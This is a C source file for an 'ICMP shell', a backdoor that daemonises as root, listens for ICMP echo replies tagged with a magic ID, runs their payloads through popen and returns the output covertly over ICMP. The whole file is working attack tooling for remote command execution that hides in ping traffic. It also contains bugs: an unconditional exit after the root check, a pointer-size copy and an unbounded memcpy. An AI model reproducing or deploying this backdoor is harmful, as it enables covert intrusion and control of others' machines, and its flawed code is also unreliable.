/* ICMP shell */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>

#define ERROR -1

#define RID 31337
#define LID 12345

u_short cksum(u_short *buf, int nwords);

void    start_pipe(char *buf, int len);
void    send_connect(unsigned long to, unsigned int id,char *data);

void main()
{
  int  lsock, i;
  char buf[512];

  struct iphdr *ip     = (struct iphdr *)buf;
  struct icmphdr *icmp = (struct icmphdr *)(buf+sizeof(struct iphdr));

  if (geteuid() != 0) printf("Needs to be run as root\n");
     exit(ERROR);

  if ((lsock = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {
	perror("socket");
	exit(ERROR);
  }

  close(0), close(1), close(2);

  if(fork()) exit(0);

  while(1) {
    if ((i = read(lsock, buf, 512)) == ERROR) {
	perror("read");
	close(lsock);
	exit(ERROR);
    }

    if (ip->protocol == 1 && icmp->type == 0 && \
        ntohs(icmp->un.echo.id) == RID)
      start_pipe(buf,i);
  }
}

void start_pipe(char *buf,int len)
{
  FILE *haha;  
  int lsock, i;

  char *p;
  char databuf[512];

  struct sockaddr_in sa;
  struct iphdr   *ip   = (struct iphdr *)buf;
  struct icmphdr *icmp = (struct icmphdr *)(buf+sizeof(struct iphdr));

  if ((lsock = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {
	perror("socket");
	exit(ERROR);
  }

  icmp->un.echo.id   = ntohs(LID);
  sa.sin_family      = AF_INET;
  sa.sin_addr.s_addr = ip->saddr;
  sendto(lsock, icmp, len - sizeof(struct iphdr), 0, (struct sockaddr *)&sa, 
         sizeof(sa));
  
  while(1) {
    if ((i = recv(lsock, buf, 512, 0)) == ERROR) {
	perror("recv");
	exit(ERROR);
    }

    if (ip->protocol == 1 && icmp->type == 0 && \
        ntohs(icmp->un.echo.id) == RID) {

      p = (buf+sizeof(struct iphdr)+sizeof(struct icmphdr));
      memcpy(databuf, p, i - (sizeof(struct iphdr)+sizeof(struct icmphdr))+1);

      if (strcasecmp(databuf, "exit") == 0) return;
      if ((haha = popen(databuf, "r")) == NULL)
         send_connect(ip->saddr, LID, "Unknown command.\n");
      else {
        i = 0;
        while(fgets(databuf, 512, haha) != NULL) {
          i++;
          send_connect(ip->saddr,LID,databuf);
        }

        if(!i)
          send_connect(ip->saddr,LID,"Unknown command.\n");

        pclose(haha);
      }      
    }

    fflush(stdout), fflush(stdin);
  }
}

void send_connect(unsigned long to, unsigned int id,char *data)
{
  int i, sock;
  char buf[512];
  struct sockaddr_in sa;
  char *bla = (buf+sizeof(struct icmphdr));
  struct icmphdr *icmp = (struct icmphdr *)buf;
  
  if ((sock = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {
	perror("socket");
	exit(ERROR);
  }

  bzero(buf, 512);

  strncpy(bla, data, sizeof(bla));

  icmp->type         = 0;
  icmp->un.echo.id   = htons(id);
  icmp->checksum     = cksum((u_short *)icmp, (9+strlen(data)) >> 1);
  sa.sin_family      = AF_INET;
  sa.sin_addr.s_addr = to;

  if ((i = sendto(sock, buf, (9+strlen(data)), 0, (struct sockaddr *)&sa, 
       sizeof(sa))) == ERROR) {
	perror("sendto");
	close(sock);
	exit(ERROR);
  }

  close(sock);  
}

u_short cksum(u_short *buf, int nwords) {
        unsigned long sum;

        for ( sum = 0; nwords > 0; nwords -- )
                sum += *buf++;
        sum = ( sum >> 16) + ( sum & 0xffff );
        sum += ( sum >> 16 );
        return ~sum ;
}

